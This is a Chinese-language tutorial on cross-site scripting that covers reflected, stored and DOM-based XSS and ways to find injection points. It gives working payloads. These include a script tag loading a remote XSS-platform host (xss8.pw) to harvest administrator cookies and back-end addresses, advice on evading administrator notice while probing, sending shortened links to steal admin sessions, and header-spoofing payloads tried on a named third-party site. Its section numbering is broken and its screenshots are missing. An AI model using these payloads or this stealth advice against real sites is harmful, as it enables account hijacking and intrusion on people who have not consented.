xss漏洞原理分析與挖掘方法
0x01 反射型xss
反射型xss是能挖到的xss中最多的,他的原理如下:
1.黑客發現了一個存在反射型xss的URL
2.查看源碼根據輸出環境構造特定的xss代碼,也會進行編碼縮短代碼,這個可有可無
3.把構造的xss代碼發送給受害者
4.受害者點擊後執行xss代碼
5.完成黑客想要的功能,多是獲取cookie
原理就是這麼個原理,現在看一下怎麼挖掘:
很多工具都可以掃描出反射型xss,但如果想要更隱蔽,或者是某些系統不允許掃描,這個時候就要手工檢測了,這也是最能練技術時候,先說一下工具掃描,常見的掃描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af
比如如下網站:
我們在賬戶輸入處輸入whoami,查看源代碼,按下ctrl+f來搜索:whoami,看出現在哪個位置,來構造特定的payload
我么可以構造"> <script>alert(XSS)</script>把前面的<input閉合掉,讓它執行後面的代碼,構造好代碼後把URL變成短鏈接發送給管理員,管理員點擊打開獲取他的cookie登錄
挖掘反射型xss的方法就是這些,手工也是這個方法,只是需要自己去找存在xss漏洞的網站,手工就一句話:見框就插,改數據包中的參數,改URL中的參數,js源代碼分析。
改數據包,js源代碼分析比較深就不再細說了,見框就插就比較好理解了,先在輸入框輸入唯一的字元串,查看源代碼字元串的位置,在輸入 <>""/&()看過濾了什麼,根據過濾的字元來構造特定的xss代碼
0x02存儲型xss
存儲型xss和反射型不同的地方在於他會把輸入的數據保存在服務端,反射型輸入的數據遊走在客戶端
存儲型xss主要存在於留言板評論區,因為最近沒有挖到存儲型xss,所以自己寫了一個留言板用來演示:
點擊留言(這裡最好不要使用<script>alert("xss")</script>來測試是否存在XSS漏洞,容易被管理員發現,所以你可以使用<a></a>來測試,如果成功了,不會被管理員發現)OK,我先在留言里出輸入<a>s</a>提交留言,F12打開審查元素,來看我們輸入的標籤是否被過濾了
發現沒有過濾(如果<a>s</a>是彩色的說明沒有過濾,如果是灰色就說明過濾了)
那我就在xss平台里創建一個項目,然後再次留言,裡面寫上,「<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想報名「
只要管理員點擊就會獲取管理員cookie和後台地址
0x03 DOM XSS
上面兩種都需要服務端的反饋來構造xss,DOM並不需要與服務端進行交互,是基於javascript的,保存如下代碼為123.html
<script>document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));</script>
在這裡我先解釋下上面的意思
Document.write是把裡面的內容寫到頁面里。
document.URL是獲取URL地址。
Substring 從某處到某處,把之間的內容獲取。
document.URL.indexOf("a=")+2是在當前URL里從開頭檢索a=字元,然後加2(因為a=是兩個字元,我們需要把他略去),同時他也是substring的開始值
document.URL.length是獲取當前URL的長度,同時也是substring的結束值。
合起來的意思就是:在URL獲取a=後面的值,然後把a=後面的值給顯示出來。
怎麼會出現這個問題呢?
因為當前url並沒有a=的字元,而indexOf的特性是,當獲取的值里,如果沒有找到自己要檢索的值的話,返回-1。找到了則返回0。那麼document.URL.indexOf("a=")則為-1,再加上2,得1。然後一直到URL最後。這樣一來,就把file的f字元給略去了,所以才會出現ile:///C:/Users/Administrator/Desktop/1.html
大致的原理都會了,我們繼續下面的
我們可以在123 .html,?a=123或則#a=123,只要不影響前面的路徑,而且保證a=出現在URL就可以了。
我們清楚的看到我們輸入的字元被顯示出來了。
那我們輸入<script>alert("xss")</script>會怎麼樣呢?
答案肯定是彈窗, 但是,這裡沒有彈框,主要是因為瀏覽器過濾了
0×06 挖掘XSS:
挖掘XSS的技巧很多,各式各樣,我這裡就簡要說明下容易出現XSS的地方。
之前說過了修改輸入框和URL參數來實現XSS。我在這裡深入一點說明下。
修改URL參數的時候,你看到的只是用GET來傳輸數據的,還有隱形的數據,他們是用POST來傳輸數據,只有在數據包里才可以看到。這裡不就闡述了,不懂的可以參考之前我寫的利用方法,GET和POST利用方法幾乎一樣。不清楚POST和GET的可以在0×01 前言里查看下我給出的鏈接。
廢話也不說了,下面進入正題。
一:我們都知道當你瀏覽網站的時候,對方的伺服器會記錄下你的IP地址。如果我們偽造IP為XSS代碼呢?這裡說的修改IP為XSS不是說修改PC端的,而是在瀏覽器也就是網頁上的客戶端進行修改。
這裡需要使用firefox瀏覽器和兩個附件
附件一:X-Forwarded-For Header
因為PHP獲取IP有3個函數。而X-Forwarded-For Header就是對其中一個函數X_FORWARDED_FOR起作用,X_FORWARDED_FOR有個缺陷可以使客戶端偽造任意IP,當然包括字元串,但是對其他兩個函數就不行了。
附件二:Modify Headers
Modify Headers可以偽造數據包內容,當然也可以偽造HTTP_CLIENT_IP來更改IP。
那還有一個REMOTE_ADDR獲取IP函數,這個怎麼修改呢?答案是無法修改。
REMOTE_ADDR是由 nginx 傳遞給 php 的參數,所以就是當前 nginx 直接通信的客戶端的 IP ,而我們無法插手。所以一旦對方使用了REMOTE_ADDR函數來獲取IP,那就沒辦法了。不過不要緊,一共3個函數,2個函數可以偽造,我們還是有很大的成功率的。好了,開始偽造。
偽造好後,我們打開www.ip138.com
成功彈窗了。因為我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是說ip138.com使用的是X_FORWARDED_FOR函數來獲取IP的。但是DZ等著名CMS不存在,他們都過濾了。
參考文章:
web前端黑客技術揭秘學習筆記-XSS漏洞挖掘 - CSDN博客
XSS的原理分析與解剖 - FreeBuf互聯網安全新媒體平台 | 關注黑客與極客
記一次挖掘存儲型XSS漏洞過程 - 即刻安全
推薦閱讀:
※關於web滲透,如何才能邁出關鍵的一步?
※Intel處理器漏洞Meltdown(熔毀)和Spectre(幽靈)應急處置建議
※如何玩轉Intel多款產品提權漏洞?
※漏洞之我觀